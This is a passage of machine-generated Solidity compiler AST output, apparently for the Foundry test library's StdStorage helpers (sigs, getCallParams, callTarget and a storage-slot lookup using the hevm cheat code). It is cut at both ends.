code"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d","typeString":"literal_string \"hevm cheat code\""}],"id":7453,"name":"keccak256","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-8,"src":"670:9:8","typeDescriptions":{"typeIdentifier":"t_function_keccak256_pure$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory) pure returns (bytes32)"}},"id":7455,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"670:28:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":7452,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"662:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":7451,"name":"uint256","nodeType":"ElementaryTypeName","src":"662:7:8","typeDescriptions":{}}},"id":7456,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"662:37:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":7450,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"654:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_uint160_$","typeString":"type(uint160)"},"typeName":{"id":7449,"name":"uint160","nodeType":"ElementaryTypeName","src":"654:7:8","typeDescriptions":{}}},"id":7457,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"654:46:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint160","typeString":"uint160"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint160","typeString":"uint160"}],"id":7448,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"646:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":7447,"name":"address","nodeType":"ElementaryTypeName","src":"646:7:8","typeDescriptions":{}}},"id":7458,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"646:55:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":7446,"name":"Vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15673,"src":"643:2:8","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Vm_$15673_$","typeString":"type(contract Vm)"}},"id":7459,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"643:59:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"visibility":"private"},{"id":7463,"nodeType":"VariableDeclaration","src":"708:109:8","nodes":[],"constant":true,"mutability":"constant","name":"UINT256_MAX","nameLocation":"725:11:8","scope":8781,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":7461,"name":"uint256","nodeType":"ElementaryTypeName","src":"708:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"value":{"hexValue":"313135373932303839323337333136313935343233353730393835303038363837393037383533323639393834363635363430353634303339343537353834303037393133313239363339393335","id":7462,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"739:78:8","typeDescriptions":{"typeIdentifier":"t_rational_115792089237316195423570985008687907853269984665640564039457584007913129639935_by_1","typeString":"int_const 1157...(70 digits omitted)...9935"},"value":"115792089237316195423570985008687907853269984665640564039457584007913129639935"},"visibility":"internal"},{"id":7481,"nodeType":"FunctionDefinition","src":"824:123:8","nodes":[],"body":{"id":7480,"nodeType":"Block","src":"891:56:8","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"arguments":[{"id":7475,"name":"sigStr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7465,"src":"931:6:8","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":7474,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"925:5:8","typeDescriptions":{"typeIdentifier":"t_type$_t_bytes_storage_ptr_$","typeString":"type(bytes storage pointer)"},"typeName":{"id":7473,"name":"bytes","nodeType":"ElementaryTypeName","src":"925:5:8","typeDescriptions":{}}},"id":7476,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"925:13:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":7472,"name":"keccak256","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-8,"src":"915:9:8","typeDescriptions":{"typeIdentifier":"t_function_keccak256_pure$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory) pure returns (bytes32)"}},"id":7477,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"915:24:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":7471,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"908:6:8","typeDescriptions":{"typeIdentifier":"t_type$_t_bytes4_$","typeString":"type(bytes4)"},"typeName":{"id":7470,"name":"bytes4","nodeType":"ElementaryTypeName","src":"908:6:8","typeDescriptions":{}}},"id":7478,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"908:32:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"functionReturnParameters":7469,"id":7479,"nodeType":"Return","src":"901:39:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"sigs","nameLocation":"833:4:8","parameters":{"id":7466,"nodeType":"ParameterList","parameters":[{"constant":false,"id":7465,"mutability":"mutable","name":"sigStr","nameLocation":"852:6:8","nodeType":"VariableDeclaration","scope":7481,"src":"838:20:8","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":7464,"name":"string","nodeType":"ElementaryTypeName","src":"838:6:8","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"837:22:8"},"returnParameters":{"id":7469,"nodeType":"ParameterList","parameters":[{"constant":false,"id":7468,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":7481,"src":"883:6:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"},"typeName":{"id":7467,"name":"bytes4","nodeType":"ElementaryTypeName","src":"883:6:8","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"visibility":"internal"}],"src":"882:8:8"},"scope":8781,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":7506,"nodeType":"FunctionDefinition","src":"953:236:8","nodes":[],"body":{"id":7505,"nodeType":"Block","src":"1038:151:8","nodes":[],"statements":[{"condition":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":7493,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"expression":{"id":7489,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7484,"src":"1052:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":7490,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"1057:9:8","memberName":"_calldata","nodeType":"MemberAccess","referencedDeclaration":7426,"src":"1052:14:8","typeDescriptions":{"typeIdentifier":"t_bytes_storage","typeString":"bytes storage ref"}},"id":7491,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1067:6:8","memberName":"length","nodeType":"MemberAccess","src":"1052:21:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"hexValue":"30","id":7492,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1077:1:8","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"src":"1052:26:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"falseBody":{"id":7503,"nodeType":"Block","src":"1137:46:8","statements":[{"expression":{"expression":{"id":7500,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7484,"src":"1158:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":7501,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"1163:9:8","memberName":"_calldata","nodeType":"MemberAccess","referencedDeclaration":7426,"src":"1158:14:8","typeDescriptions":{"typeIdentifier":"t_bytes_storage","typeString":"bytes storage ref"}},"functionReturnParameters":7488,"id":7502,"nodeType":"Return","src":"1151:21:8"}]},"id":7504,"nodeType":"IfStatement","src":"1048:135:8","trueBody":{"id":7499,"nodeType":"Block","src":"1080:51:8","statements":[{"expression":{"arguments":[{"expression":{"id":7495,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7484,"src":"1109:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":7496,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"1114:5:8","memberName":"_keys","nodeType":"MemberAccess","referencedDeclaration":7414,"src":"1109:10:8","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_storage","typeString":"bytes32[] storage ref"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_array$_t_bytes32_$dyn_storage","typeString":"bytes32[] storage ref"}],"id":7494,"name":"flatten","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8704,"src":"1101:7:8","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_array$_t_bytes32_$dyn_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (bytes32[] memory) pure returns (bytes memory)"}},"id":7497,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1101:19:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"functionReturnParameters":7488,"id":7498,"nodeType":"Return","src":"1094:26:8"}]}}]},"implemented":true,"kind":"function","modifiers":[],"name":"getCallParams","nameLocation":"962:13:8","parameters":{"id":7485,"nodeType":"ParameterList","parameters":[{"constant":false,"id":7484,"mutability":"mutable","name":"self","nameLocation":"995:4:8","nodeType":"VariableDeclaration","scope":7506,"src":"976:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":7483,"nodeType":"UserDefinedTypeName","pathNode":{"id":7482,"name":"StdStorage","nameLocations":["976:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"976:10:8"},"referencedDeclaration":7427,"src":"976:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"}],"src":"975:25:8"},"returnParameters":{"id":7488,"nodeType":"ParameterList","parameters":[{"constant":false,"id":7487,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":7506,"src":"1024:12:8","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":7486,"name":"bytes","nodeType":"ElementaryTypeName","src":"1024:5:8","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"1023:14:8"},"scope":8781,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":7552,"nodeType":"FunctionDefinition","src":"1251:343:8","nodes":[],"body":{"id":7551,"nodeType":"Block","src":"1334:260:8","nodes":[],"statements":[{"assignments":[7517],"declarations":[{"constant":false,"id":7517,"mutability":"mutable","name":"cald","nameLocation":"1357:4:8","nodeType":"VariableDeclaration","scope":7551,"src":"1344:17:8","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":7516,"name":"bytes","nodeType":"ElementaryTypeName","src":"1344:5:8","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"id":7526,"initialValue":{"arguments":[{"expression":{"id":7520,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7509,"src":"1381:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":7521,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"1386:4:8","memberName":"_sig","nodeType":"MemberAccess","referencedDeclaration":7416,"src":"1381:9:8","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},{"arguments":[{"id":7523,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7509,"src":"1406:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}],"id":7522,"name":"getCallParams","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7506,"src":"1392:13:8","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_struct$_StdStorage_$7427_storage_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (struct StdStorage storage pointer) view returns (bytes memory)"}},"id":7524,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1392:19:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes4","typeString":"bytes4"},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"id":7518,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"1364:3:8","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":7519,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"1368:12:8","memberName":"encodePacked","nodeType":"MemberAccess","src":"1364:16:8","typeDescriptions":{"typeIdentifier":"t_function_abiencodepacked_pure$__$returns$_t_bytes_memory_ptr_$","typeString":"function () pure returns (bytes memory)"}},"id":7525,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1364:48:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"nodeType":"VariableDeclarationStatement","src":"1344:68:8"},{"assignments":[7528,7530],"declarations":[{"constant":false,"id":7528,"mutability":"mutable","name":"success","nameLocation":"1428:7:8","nodeType":"VariableDeclaration","scope":7551,"src":"1423:12:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":7527,"name":"bool","nodeType":"ElementaryTypeName","src":"1423:4:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":7530,"mutability":"mutable","name":"rdat","nameLocation":"1450:4:8","nodeType":"VariableDeclaration","scope":7551,"src":"1437:17:8","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":7529,"name":"bytes","nodeType":"ElementaryTypeName","src":"1437:5:8","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"id":7536,"initialValue":{"arguments":[{"id":7534,"name":"cald","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7517,"src":"1482:4:8","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"expression":{"id":7531,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7509,"src":"1458:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":7532,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"1463:7:8","memberName":"_target","nodeType":"MemberAccess","referencedDeclaration":7420,"src":"1458:12:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":7533,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1471:10:8","memberName":"staticcall","nodeType":"MemberAccess","src":"1458:23:8","typeDescriptions":{"typeIdentifier":"t_function_barestaticcall_view$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$","typeString":"function (bytes memory) view returns (bool,bytes memory)"}},"id":7535,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1458:29:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes_memory_ptr_$","typeString":"tuple(bool,bytes memory)"}},"nodeType":"VariableDeclarationStatement","src":"1422:65:8"},{"assignments":[7538],"declarations":[{"constant":false,"id":7538,"mutability":"mutable","name":"result","nameLocation":"1505:6:8","nodeType":"VariableDeclaration","scope":7551,"src":"1497:14:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":7537,"name":"bytes32","nodeType":"ElementaryTypeName","src":"1497:7:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":7546,"initialValue":{"arguments":[{"id":7540,"name":"rdat","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7530,"src":"1529:4:8","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":7544,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"hexValue":"3332","id":7541,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1535:2:8","typeDescriptions":{"typeIdentifier":"t_rational_32_by_1","typeString":"int_const 32"},"value":"32"},"nodeType":"BinaryOperation","operator":"*","rightExpression":{"expression":{"id":7542,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7509,"src":"1540:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":7543,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"1545:6:8","memberName":"_depth","nodeType":"MemberAccess","referencedDeclaration":7418,"src":"1540:11:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"1535:16:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":7539,"name":"bytesToBytes32","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8663,"src":"1514:14:8","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$_t_uint256_$returns$_t_bytes32_$","typeString":"function (bytes memory,uint256) pure returns (bytes32)"}},"id":7545,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1514:38:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"nodeType":"VariableDeclarationStatement","src":"1497:55:8"},{"expression":{"components":[{"id":7547,"name":"success","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7528,"src":"1571:7:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":7548,"name":"result","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7538,"src":"1580:6:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"id":7549,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"1570:17:8","typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes32_$","typeString":"tuple(bool,bytes32)"}},"functionReturnParameters":7515,"id":7550,"nodeType":"Return","src":"1563:24:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"callTarget","nameLocation":"1260:10:8","parameters":{"id":7510,"nodeType":"ParameterList","parameters":[{"constant":false,"id":7509,"mutability":"mutable","name":"self","nameLocation":"1290:4:8","nodeType":"VariableDeclaration","scope":7552,"src":"1271:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":7508,"nodeType":"UserDefinedTypeName","pathNode":{"id":7507,"name":"StdStorage","nameLocations":["1271:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"1271:10:8"},"referencedDeclaration":7427,"src":"1271:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"}],"src":"1270:25:8"},"returnParameters":{"id":7515,"nodeType":"ParameterList","parameters":[{"constant":false,"id":7512,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":7552,"src":"1319:4:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":7511,"name":"bool","nodeType":"ElementaryTypeName","src":"1319:4:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":7514,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":7552,"src":"1325:7:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":7513,"name":"bytes32","nodeType":"ElementaryTypeName","src":"1325:7:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"1318:15:8"},"scope":8781,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":7630,"nodeType":"FunctionDefinition","src":"1851:546:8","nodes":[],"body":{"id":7629,"nodeType":"Block","src":"1944:453:8","nodes":[],"statements":[{"assignments":[7563],"declarations":[{"constant":false,"id":7563,"mutability":"mutable","name":"prevSlotValue","nameLocation":"1962:13:8","nodeType":"VariableDeclaration","scope":7629,"src":"1954:21:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":7562,"name":"bytes32","nodeType":"ElementaryTypeName","src":"1954:7:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":7570,"initialValue":{"arguments":[{"expression":{"id":7566,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7555,"src":"1986:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":7567,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"1991:7:8","memberName":"_target","nodeType":"MemberAccess","referencedDeclaration":7420,"src":"1986:12:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":7568,"name":"slot","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7557,"src":"2000:4:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"expression":{"id":7564,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7460,"src":"1978:2:8","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":7565,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1981:4:8","memberName":"load","nodeType":"MemberAccess","referencedDeclaration":12605,"src":"1978:7:8","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$_t_bytes32_$returns$_t_bytes32_$","typeString":"function (address,bytes32) view external returns (bytes32)"}},"id":7569,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1978:27:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"nodeType":"VariableDeclarationStatement","src":"1954:51:8"},{"assignments":[7572,7574],"declarations":[{"constant":false,"id":7572,"mutability":"mutable","name":"success","nameLocation":"2021:7:8","nodeType":"VariableDeclaration","scope":7629,"src":"2016:12:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":7571,"name":"bool","nodeType":"ElementaryTypeName","src":"2016:4:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":7574,"mutability":"mutable","name":"prevReturnValue","nameLocation":"2038:15:8","nodeType":"VariableDeclaration","scope":7629,"src":"2030:23:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":7573,"name":"bytes32","nodeType":"ElementaryTypeName","src":"2030:7:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":7578,"initialValue":{"arguments":[{"id":7576,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7555,"src":"2068:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}],"id":7575,"name":"callTarget","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7552,"src":"2057:10:8","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_struct$_StdStorage_$7427_storage_ptr_$returns$_t_bool_$_t_bytes32_$","typeString":"function (struct StdStorage storage pointer) view returns (bool,bytes32)"}},"id":7577,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2057:16:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes32_$","typeString":"tuple(bool,bytes32)"}},"nodeType":"VariableDeclarationStatement","src":"2015:58:8"},{"assignments":[7580],"declarations":[{"constant":false,"id":7580,"mutability":"mutable","name":"testVal","nameLocation":"2092:7:8","nodeType":"VariableDeclaration","scope":7629,"src":"2084:15:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":7579,"name":"bytes32","nodeType":"ElementaryTypeName","src":"2084:7:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":7596,"initialValue":{"condition":{"commonType":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"id":7586,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":7581,"name":"prevReturnValue","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7574,"src":"2102:15:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"arguments":[{"hex